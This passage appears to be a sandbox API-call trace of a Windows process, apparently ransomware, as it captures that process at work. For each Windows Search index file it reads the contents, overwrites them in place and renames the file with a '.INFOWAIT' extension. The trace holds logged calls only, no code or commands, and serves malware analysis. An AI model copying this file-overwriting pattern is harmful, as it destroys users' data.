users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.385] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13a [0130.385] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.386] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.386] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x13a, lpOverlapped=0x0) returned 1 [0130.387] VirtualAlloc (lpAddress=0x0, dwSize=0x13a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.387] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.387] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x13a, lpOverlapped=0x0) returned 1 [0130.388] CloseHandle (hObject=0xad0) returned 1 [0130.388] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" [0130.388] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl.INFOWAIT" [0130.388] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl.infowait")) returned 1 [0130.388] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.389] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.390] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.390] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.390] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x22e [0130.390] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.390] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.390] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x22e, lpOverlapped=0x0) returned 1 [0130.392] VirtualAlloc (lpAddress=0x0, dwSize=0x22e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.392] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.392] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x22e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x22e, lpOverlapped=0x0) returned 1 [0130.392] CloseHandle (hObject=0xad0) returned 1 [0130.392] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" [0130.392] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr.INFOWAIT" [0130.392] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr.infowait")) returned 1 [0130.393] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.394] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.394] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.395] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2000 [0130.395] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.395] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.395] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2000, lpOverlapped=0x0) returned 1 [0130.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.560] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.560] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2000, lpOverlapped=0x0) returned 1 [0130.560] CloseHandle (hObject=0xad4) returned 1 [0130.560] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" [0130.560] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk.INFOWAIT" [0130.560] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.chk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.chk.infowait")) returned 1 [0130.561] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.561] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.562] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.562] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.564] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x100000 [0130.564] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.564] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.564] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0130.652] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0130.661] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.661] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0130.662] CloseHandle (hObject=0xad4) returned 1 [0130.662] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" [0130.662] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log.INFOWAIT" [0130.662] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.log.infowait")) returned 1 [0130.662] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.663] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.664] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.664] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.665] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x100000 [0130.665] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.666] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.666] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0130.808] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0130.817] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.817] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0130.818] CloseHandle (hObject=0xad4) returned 1 [0130.818] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" [0130.818] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs.INFOWAIT" [0130.818] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs.infowait")) returned 1 [0130.819] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.820] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.820] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.820] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.821] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x100000 [0130.821] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.821] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.821] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0130.915] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0130.925] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.925] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0130.925] CloseHandle (hObject=0xad4) returned 1 [0130.925] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" [0130.926] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs.INFOWAIT" [0130.926] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs.infowait")) returned 1 [0130.926] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.927] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.928] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.928] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.928] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf0 [0130.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.928] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.928] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf0, lpOverlapped=0x0) returned 1 [0130.930] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.930] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.930] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf0, lpOverlapped=0x0) returned 1 [0130.930] CloseHandle (hObject=0xad4) returned 1 [0130.930] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000" [0130.930] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000.INFOWAIT" [0130.930] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.000.infowait")) returned 1 [0130.931] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.932] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.932] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.932] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.933] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0130.933] CloseHandle (hObject=0xad4) returned 1 [0130.933] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001" [0130.933] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001.INFOWAIT" [0130.933] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.001.infowait")) returned 1 [0130.933] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0130.934] GetLastError () returned 0x0 [0130.934] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0130.934] GetLastError () returned 0x0 [0130.934] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.934] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.934] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0130.934] CloseHandle (hObject=0xad4) returned 1 [0130.934] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002" [0130.934] lstrcatW 